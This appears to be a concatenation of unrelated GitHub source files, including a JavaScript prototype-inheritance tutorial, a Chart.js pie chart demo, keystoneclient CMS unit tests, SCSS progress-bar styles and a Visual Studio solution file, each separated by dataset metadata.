As we can see, methods are lexically not inside `function User`, they do not share a common lexical environment. If we declare variables inside `function User`, then they won't be visible to methods.
So, there is a widely known agreement that internal properties and methods are prepended with an underscore `"_"`. Like `_name` or `_calcAge()`. Technically, that's just an agreement, the outer code still can access them. But most developers recognize the meaning of `"_"` and try not to touch prefixed properties and methods in the external code.
Here are the advantages over the functional pattern:
- In the functional pattern, each object has its own copy of every method. We assign a separate copy of `this.sayHi = function() {...}` and other methods in the constructor.
- In the prototypal pattern, all methods are in `User.prototype` that is shared between all user objects. An object itself only stores the data.
So the prototypal pattern is more memory-efficient.
...But not only that. Prototypes allow us to setup the inheritance in a really efficient way. Built-in JavaScript objects all use prototypes. Also there's a special syntax construct: "class" that provides nice-looking syntax for them. And there's more, so let's go on with them.
## Prototype-based inheritance for classes
Let's say we have two prototype-based classes.
`Rabbit`:
```js
function Rabbit(name) {
this.name = name;
}
Rabbit.prototype.jump = function() {
alert(this.name + ' jumps!');
};
let rabbit = new Rabbit("My rabbit");
```

...And `Animal`:
```js
function Animal(name) {
this.name = name;
}
Animal.prototype.eat = function() {
alert(this.name + ' eats.');
};
let animal = new Animal("My animal");
```

Right now they are fully independent.
But we'd want `Rabbit` to extend `Animal`. In other words, rabbits should be based on animals, have access to methods of `Animal` and extend them with its own methods.
What does it mean in the language on prototypes?
Right now methods for `rabbit` objects are in `Rabbit.prototype`. We'd like `rabbit` to use `Animal.prototype` as a "fallback", if the method is not found in `Rabbit.prototype`.
So the prototype chain should be `rabbit` -> `Rabbit.prototype` -> `Animal.prototype`.
Like this:

The code to implement that:
```js run
// Same Animal as before
function Animal(name) {
this.name = name;
}
// All animals can eat, right?
Animal.prototype.eat = function() {
alert(this.name + ' eats.');
};
// Same Rabbit as before
function Rabbit(name) {
this.name = name;
}
Rabbit.prototype.jump = function() {
alert(this.name + ' jumps!');
};
*!*
// setup the inheritance chain
Rabbit.prototype.__proto__ = Animal.prototype; // (*)
*/!*
let rabbit = new Rabbit("White Rabbit");
*!*
rabbit.eat(); // rabbits can eat too
*/!*
rabbit.jump();
```
The line `(*)` sets up the prototype chain. So that `rabbit` first searches methods in `Rabbit.prototype`, then `Animal.prototype`. And then, just for completeness, let's mention that if the method is not found in `Animal.prototype`, then the search continues in `Object.prototype`, because `Animal.prototype` is a regular plain object, so it inherits from it.
So here's the full picture:

## Summary
The term "class" comes from the object-oriented programming. In JavaScript it usually means the functional class pattern or the prototypal pattern. The prototypal pattern is more powerful and memory-efficient, so it's recommended to stick to it.
According to the prototypal pattern:
1. Methods are stored in `Class.prototype`.
2. Prototypes inherit from each other.
In the next chapter we'll study `class` keyword and construct. It allows to write prototypal classes shorter and provides some additional benefits.
| {
"pile_set_name": "Github"
} |
<!doctype html>
<html>
<head>
<title>Multi Series Pie Chart</title>
<script src="../../dist/chart.js"></script>
<script src="../utils.js"></script>
</head>
<body>
<div id="canvas-holder" style="width:40%">
<canvas id="chart-area"></canvas>
</div>
<script>
var ctx = document.getElementById('chart-area');
new Chart(ctx, {
type: 'pie',
data: {
labels: [
'Overall Yay',
'Overall Nay',
'Group A Yay',
'Group A Nay',
'Group B Yay',
'Group B Nay',
'Group C Yay',
'Group C Nay'
],
datasets: [
{backgroundColor: ['#AAA', '#777'], data: [21, 79]},
{
backgroundColor: ['hsl(0, 100%, 60%)', 'hsl(0, 100%, 35%)'],
data: [33, 67]
},
{
backgroundColor: ['hsl(100, 100%, 60%)', 'hsl(100, 100%, 35%)'],
data: [20, 80]
},
{
backgroundColor: ['hsl(180, 100%, 60%)', 'hsl(180, 100%, 35%)'],
data: [10, 90]
}
]
},
options: {
legend: {
labels: {
generateLabels: function(chart) {
// Get the default label list
var original = Chart.defaults.pie.legend.labels.generateLabels;
var labels = original.call(this, chart);
// Build an array of colors used in the datasets of the chart
var datasetColors = chart.data.datasets.map(function(e) {
return e.backgroundColor;
});
datasetColors = datasetColors.flat();
// Modify the color and hide state of each label
labels.forEach(label => {
// There are twice as many labels as there are datasets. This converts the label index into the corresponding dataset index
label.datasetIndex = (label.index - label.index % 2) / 2;
// The hidden state must match the dataset's hidden state
label.hidden = !chart.isDatasetVisible(label.datasetIndex);
// Change the color to match the dataset
label.fillStyle = datasetColors[label.index];
});
return labels;
}
},
onClick: function(mouseEvent, legendItem, legend) {
// toggle the visibility of the dataset from what it currently is
legend.chart.getDatasetMeta(
legendItem.datasetIndex
).hidden = legend.chart.isDatasetVisible(legendItem.datasetIndex);
legend.chart.update();
}
},
tooltips: {
callbacks: {
label: function(context) {
var labelIndex = (context.datasetIndex * 2) + context.dataIndex;
return context.chart.data.labels[labelIndex] + ': ' + context.dataset.data[context.dataIndex];
}
}
}
}
});
</script>
</body>
</html> | {
"pile_set_name": "Github"
} |
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
import errno
import os
import subprocess
from unittest import mock
import testresources
from testtools import matchers
from keystoneclient.common import cms
from keystoneclient import exceptions
from keystoneclient.tests.unit import client_fixtures
from keystoneclient.tests.unit import utils
class CMSTest(utils.TestCase, testresources.ResourcedTestCase):
"""Unit tests for the keystoneclient.common.cms module."""
resources = [('examples', client_fixtures.EXAMPLES_RESOURCE)]
def __init__(self, *args, **kwargs):
super(CMSTest, self).__init__(*args, **kwargs)
process = subprocess.Popen(['openssl', 'version'],
stdout=subprocess.PIPE)
out, err = process.communicate()
# Example output: 'OpenSSL 0.9.8za 5 Jun 2014'
openssl_version = out.split()[1]
if err or openssl_version.startswith(b'0'):
raise Exception('Your version of OpenSSL is not supported. '
'You will need to update it to 1.0 or later.')
def _raise_OSError(*args):
e = OSError()
e.errno = errno.EPIPE
raise e
def test_cms_verify(self):
self.assertRaises(exceptions.CertificateConfigError,
cms.cms_verify,
'data',
'no_exist_cert_file',
'no_exist_ca_file')
def test_token_tocms_to_token(self):
with open(os.path.join(client_fixtures.CMSDIR,
'auth_token_scoped.pem')) as f:
AUTH_TOKEN_SCOPED_CMS = f.read()
self.assertEqual(cms.token_to_cms(self.examples.SIGNED_TOKEN_SCOPED),
AUTH_TOKEN_SCOPED_CMS)
tok = cms.cms_to_token(cms.token_to_cms(
self.examples.SIGNED_TOKEN_SCOPED))
self.assertEqual(tok, self.examples.SIGNED_TOKEN_SCOPED)
def test_asn1_token(self):
self.assertTrue(cms.is_asn1_token(self.examples.SIGNED_TOKEN_SCOPED))
self.assertFalse(cms.is_asn1_token('FOOBAR'))
def test_cms_sign_token_no_files(self):
self.assertRaises(subprocess.CalledProcessError,
cms.cms_sign_token,
self.examples.TOKEN_SCOPED_DATA,
'/no/such/file', '/no/such/key')
def test_cms_sign_token_no_files_pkiz(self):
self.assertRaises(subprocess.CalledProcessError,
cms.pkiz_sign,
self.examples.TOKEN_SCOPED_DATA,
'/no/such/file', '/no/such/key')
def test_cms_sign_token_success(self):
self.assertTrue(
cms.pkiz_sign(self.examples.TOKEN_SCOPED_DATA,
self.examples.SIGNING_CERT_FILE,
self.examples.SIGNING_KEY_FILE))
def test_cms_verify_token_no_files(self):
self.assertRaises(exceptions.CertificateConfigError,
cms.cms_verify,
self.examples.SIGNED_TOKEN_SCOPED,
'/no/such/file', '/no/such/key')
def test_cms_verify_token_no_oserror(self):
with mock.patch('subprocess.Popen.communicate',
new=self._raise_OSError):
try:
cms.cms_verify("x", '/no/such/file', '/no/such/key')
except exceptions.CertificateConfigError as e:
self.assertIn('/no/such/file', e.output)
self.assertIn('Hit OSError ', e.output)
else:
self.fail('Expected exceptions.CertificateConfigError')
def test_cms_verify_token_scoped(self):
cms_content = cms.token_to_cms(self.examples.SIGNED_TOKEN_SCOPED)
self.assertTrue(cms.cms_verify(cms_content,
self.examples.SIGNING_CERT_FILE,
self.examples.SIGNING_CA_FILE))
def test_cms_verify_token_scoped_expired(self):
cms_content = cms.token_to_cms(
self.examples.SIGNED_TOKEN_SCOPED_EXPIRED)
self.assertTrue(cms.cms_verify(cms_content,
self.examples.SIGNING_CERT_FILE,
self.examples.SIGNING_CA_FILE))
def test_cms_verify_token_unscoped(self):
cms_content = cms.token_to_cms(self.examples.SIGNED_TOKEN_UNSCOPED)
self.assertTrue(cms.cms_verify(cms_content,
self.examples.SIGNING_CERT_FILE,
self.examples.SIGNING_CA_FILE))
def test_cms_verify_token_v3_scoped(self):
cms_content = cms.token_to_cms(self.examples.SIGNED_v3_TOKEN_SCOPED)
self.assertTrue(cms.cms_verify(cms_content,
self.examples.SIGNING_CERT_FILE,
self.examples.SIGNING_CA_FILE))
def test_cms_hash_token_no_token_id(self):
token_id = None
self.assertThat(cms.cms_hash_token(token_id), matchers.Is(None))
def test_cms_hash_token_not_pki(self):
"""If the token_id is not a PKI token then it returns the token_id."""
token = 'something'
self.assertFalse(cms.is_asn1_token(token))
self.assertThat(cms.cms_hash_token(token), matchers.Is(token))
def test_cms_hash_token_default_md5(self):
"""The default hash method is md5."""
token = self.examples.SIGNED_TOKEN_SCOPED
token_id_default = cms.cms_hash_token(token)
token_id_md5 = cms.cms_hash_token(token, mode='md5')
self.assertThat(token_id_default, matchers.Equals(token_id_md5))
# md5 hash is 32 chars.
self.assertThat(token_id_default, matchers.HasLength(32))
def test_cms_hash_token_sha256(self):
"""Can also hash with sha256."""
token = self.examples.SIGNED_TOKEN_SCOPED
token_id = cms.cms_hash_token(token, mode='sha256')
# sha256 hash is 64 chars.
self.assertThat(token_id, matchers.HasLength(64))
@mock.patch('keystoneclient.common.cms._check_files_accessible')
def test_process_communicate_handle_oserror_epipe(self, files_acc_mock):
process_mock = mock.Mock()
process_mock.communicate = self._raise_OSError
process_mock.stderr = mock.Mock()
process_mock.stderr.read = mock.Mock(return_value='proc stderr')
files_acc_mock.return_value = 1, ('file_path', 'fileerror')
output, err, retcode = cms._process_communicate_handle_oserror(
process_mock, '', [])
self.assertEqual((output, retcode), ('', 1))
self.assertIn('file_path', err)
self.assertIn('fileerror', err)
self.assertIn('proc stderr', err)
@mock.patch('keystoneclient.common.cms._check_files_accessible')
def test_process_communicate_handle_oserror_epipe_files_ok(
self, files_acc_mock):
process_mock = mock.Mock()
process_mock.communicate = self._raise_OSError
process_mock.stderr = mock.Mock()
process_mock.stderr.read = mock.Mock(return_value='proc stderr')
files_acc_mock.return_value = -1, None
output, err, retcode = cms._process_communicate_handle_oserror(
process_mock, '', [])
self.assertEqual((output, retcode), ('', -1))
self.assertIn('proc stderr', err)
def test_process_communicate_handle_oserror_no_exception(self):
process_mock = mock.Mock()
process_mock.communicate.return_value = 'out', 'err'
process_mock.poll.return_value = 0
output, err, retcode = cms._process_communicate_handle_oserror(
process_mock, '', [])
self.assertEqual(output, 'out')
self.assertEqual(err, 'err')
self.assertEqual(retcode, 0)
def load_tests(loader, tests, pattern):
return testresources.OptimisingTestSuite(tests)
| {
"pile_set_name": "Github"
} |
package com.weapon.joker.lib.video.core;
/**
* @author: vision
* @function: 最终通知应用层广告是否成功
* @date: 16/6/1
*/
public interface AdContextInterface {
void onAdSuccess();
void onAdFailed();
void onClickVideo(String url);
}
| {
"pile_set_name": "Github"
} |
//
// Progress bars
// --------------------------------------------------
// Bar animations
// -------------------------
// WebKit
@-webkit-keyframes progress-bar-stripes {
from { background-position: 40px 0; }
to { background-position: 0 0; }
}
// Spec and IE10+
@keyframes progress-bar-stripes {
from { background-position: 40px 0; }
to { background-position: 0 0; }
}
// Bar itself
// -------------------------
// Outer container
.progress {
overflow: hidden;
height: $line-height-computed;
margin-bottom: $line-height-computed;
background-color: $progress-bg;
border-radius: $border-radius-base;
@include box-shadow(inset 0 1px 2px rgba(0,0,0,.1));
}
// Bar of progress
.progress-bar {
float: left;
width: 0%;
height: 100%;
font-size: $font-size-small;
line-height: $line-height-computed;
color: $progress-bar-color;
text-align: center;
background-color: $progress-bar-bg;
@include box-shadow(inset 0 -1px 0 rgba(0,0,0,.15));
@include transition(width .6s ease);
}
// Striped bars
.progress-striped .progress-bar {
@include gradient-striped();
background-size: 40px 40px;
}
// Call animation for the active one
.progress.active .progress-bar {
@include animation(progress-bar-stripes 2s linear infinite);
}
// Variations
// -------------------------
.progress-bar-success {
@include progress-bar-variant($progress-bar-success-bg);
}
.progress-bar-info {
@include progress-bar-variant($progress-bar-info-bg);
}
.progress-bar-warning {
@include progress-bar-variant($progress-bar-warning-bg);
}
.progress-bar-danger {
@include progress-bar-variant($progress-bar-danger-bg);
}
| {
"pile_set_name": "Github"
} |
Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 2012
Project("{2150E333-8FDC-42A3-9474-1A3956D46DE8}") = ".paket", ".paket", "{2570D3A1-411C-4BF6-B807-9F0A4A64A7E1}"
ProjectSection(SolutionItems) = preProject
..\..\paket.dependencies = ..\..\paket.dependencies
EndProjectSection
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TestApp", "TestApp\TestApp.csproj", "{24216A63-A1B9-48BC-A007-50B8EE961D3F}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ModuleByPartial", "ModuleByPartial\ModuleByPartial.csproj", "{F683E865-4B77-4D6C-929D-5B92C7634008}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ModuleBetween", "ModuleBetween\ModuleBetween.csproj", "{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ModuleByFull", "ModuleByFull\ModuleByFull.csproj", "{18ED1582-CE3C-468F-B627-37B6938BE72D}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ModuleByReference", "ModuleByReference\ModuleByReference.csproj", "{D1650CA8-6694-46F3-AB60-F3E1F47520D2}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ModuleArchitecture", "ModuleArchitecture\ModuleArchitecture.csproj", "{5ADCDA04-88DC-42EB-B047-8B83182A91AD}"
EndProject
Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ModuleLZ4", "ModuleLZ4\ModuleLZ4.csproj", "{58607761-8BD3-427C-B30D-70D5C47794BF}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|x64 = Debug|x64
Debug|x86 = Debug|x86
Release|x64 = Release|x64
Release|x86 = Release|x86
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{24216A63-A1B9-48BC-A007-50B8EE961D3F}.Debug|x64.ActiveCfg = Debug|x64
{24216A63-A1B9-48BC-A007-50B8EE961D3F}.Debug|x64.Build.0 = Debug|x64
{24216A63-A1B9-48BC-A007-50B8EE961D3F}.Debug|x86.ActiveCfg = Debug|x86
{24216A63-A1B9-48BC-A007-50B8EE961D3F}.Debug|x86.Build.0 = Debug|x86
{24216A63-A1B9-48BC-A007-50B8EE961D3F}.Release|x64.ActiveCfg = Release|x64
{24216A63-A1B9-48BC-A007-50B8EE961D3F}.Release|x64.Build.0 = Release|x64
{24216A63-A1B9-48BC-A007-50B8EE961D3F}.Release|x86.ActiveCfg = Release|x86
{24216A63-A1B9-48BC-A007-50B8EE961D3F}.Release|x86.Build.0 = Release|x86
{F683E865-4B77-4D6C-929D-5B92C7634008}.Debug|x64.ActiveCfg = Debug|Any CPU
{F683E865-4B77-4D6C-929D-5B92C7634008}.Debug|x64.Build.0 = Debug|Any CPU
{F683E865-4B77-4D6C-929D-5B92C7634008}.Debug|x86.ActiveCfg = Debug|Any CPU
{F683E865-4B77-4D6C-929D-5B92C7634008}.Debug|x86.Build.0 = Debug|Any CPU
{F683E865-4B77-4D6C-929D-5B92C7634008}.Release|x64.ActiveCfg = Release|Any CPU
{F683E865-4B77-4D6C-929D-5B92C7634008}.Release|x64.Build.0 = Release|Any CPU
{F683E865-4B77-4D6C-929D-5B92C7634008}.Release|x86.ActiveCfg = Release|Any CPU
{F683E865-4B77-4D6C-929D-5B92C7634008}.Release|x86.Build.0 = Release|Any CPU
{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}.Debug|x64.ActiveCfg = Debug|Any CPU
{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}.Debug|x64.Build.0 = Debug|Any CPU
{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}.Debug|x86.ActiveCfg = Debug|Any CPU
{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}.Debug|x86.Build.0 = Debug|Any CPU
{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}.Release|x64.ActiveCfg = Release|Any CPU
{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}.Release|x64.Build.0 = Release|Any CPU
{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}.Release|x86.ActiveCfg = Release|Any CPU
{49CE7E64-9FD7-4B68-BC03-ACCCD4C2F62B}.Release|x86.Build.0 = Release|Any CPU
{18ED1582-CE3C-468F-B627-37B6938BE72D}.Debug|x64.ActiveCfg = Debug|Any CPU
{18ED1582-CE3C-468F-B627-37B6938BE72D}.Debug|x64.Build.0 = Debug|Any CPU
{18ED1582-CE3C-468F-B627-37B6938BE72D}.Debug|x86.ActiveCfg = Debug|Any CPU
{18ED1582-CE3C-468F-B627-37B6938BE72D}.Debug|x86.Build.0 = Debug|Any CPU
{18ED1582-CE3C-468F-B627-37B6938BE72D}.Release|x64.ActiveCfg = Release|Any CPU
{18ED1582-CE3C-468F-B627-37B6938BE72D}.Release|x64.Build.0 = Release|Any CPU
{18ED1582-CE3C-468F-B627-37B6938BE72D}.Release|x86.ActiveCfg = Release|Any CPU
{18ED1582-CE3C-468F-B627-37B6938BE72D}.Release|x86.Build.0 = Release|Any CPU
{D1650CA8-6694-46F3-AB60-F3E1F47520D2}.Debug|x64.ActiveCfg = Debug|Any CPU
{D1650CA8-6694-46F3-AB60-F3E1F47520D2}.Debug|x64.Build.0 = Debug|Any CPU
{D1650CA8-6694-46F3-AB60-F3E1F47520D2}.Debug|x86.ActiveCfg = Debug|Any CPU
{D1650CA8-6694-46F3-AB60-F3E1F47520D2}.Debug|x86.Build.0 = Debug|Any CPU
{D1650CA8-6694-46F3-AB60-F3E1F47520D2}.Release|x64.ActiveCfg = Release|Any CPU
{D1650CA8-6694-46F3-AB60-F3E1F47520D2}.Release|x64.Build.0 = Release|Any CPU
{D1650CA8-6694-46F3-AB60-F3E1F47520D2}.Release|x86.ActiveCfg = Release|Any CPU
{D1650CA8-6694-46F3-AB60-F3E1F47520D2}.Release|x86.Build.0 = Release|Any CPU
{5ADCDA04-88DC-42EB-B047-8B83182A91AD}.Debug|x64.ActiveCfg = Debug|x64
{5ADCDA04-88DC-42EB-B047-8B83182A91AD}.Debug|x64.Build.0 = Debug|x64
{5ADCDA04-88DC-42EB-B047-8B83182A91AD}.Debug|x86.ActiveCfg = Debug|x86
{5ADCDA04-88DC-42EB-B047-8B83182A91AD}.Debug|x86.Build.0 = Debug|x86
{5ADCDA04-88DC-42EB-B047-8B83182A91AD}.Release|x64.ActiveCfg = Release|x64
{5ADCDA04-88DC-42EB-B047-8B83182A91AD}.Release|x64.Build.0 = Release|x64
{5ADCDA04-88DC-42EB-B047-8B83182A91AD}.Release|x86.ActiveCfg = Release|x86
{5ADCDA04-88DC-42EB-B047-8B83182A91AD}.Release|x86.Build.0 = Release|x86
{58607761-8BD3-427C-B30D-70D5C47794BF}.Debug|x64.ActiveCfg = Debug|Any CPU
{58607761-8BD3-427C-B30D-70D5C47794BF}.Debug|x64.Build.0 = Debug|Any CPU
{58607761-8BD3-427C-B30D-70D5C47794BF}.Debug|x86.ActiveCfg = Debug|Any CPU
{58607761-8BD3-427C-B30D-70D5C47794BF}.Debug|x86.Build.0 = Debug|Any CPU
{58607761-8BD3-427C-B30D-70D5C47794BF}.Release|x64.ActiveCfg = Release|Any CPU
{58607761-8BD3-427C-B30D-70D5C47794BF}.Release|x64.Build.0 = Release|Any CPU
{58607761-8BD3-427C-B30D-70D5C47794BF}.Release|x86.ActiveCfg = Release|Any CPU
{58607761-8BD3-427C-B30D-70D5C47794BF}.Release|x86.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
| {
"pile_set_name": "Github"
} |
[assembly: System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Design", "CA1016:MarkAssembliesWithAssemblyVersion")]
// This file is used by Code Analysis to maintain SuppressMessage
// attributes that are applied to this project.
// Project-level suppressions either have no target or are given
// a specific target and scoped to a namespace, type, member, etc.
//
// To add a suppression to this file, right-click the message in the
// Code Analysis results, point to "Suppress Message", and click
// "In Suppression File".
// You do not need to add suppressions to this file manually.
| {
"pile_set_name": "Github"
} |
version: 1
n_points: 4
{
140.946 456.215
140.946 832.113
553.221 832.113
553.221 456.215
}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.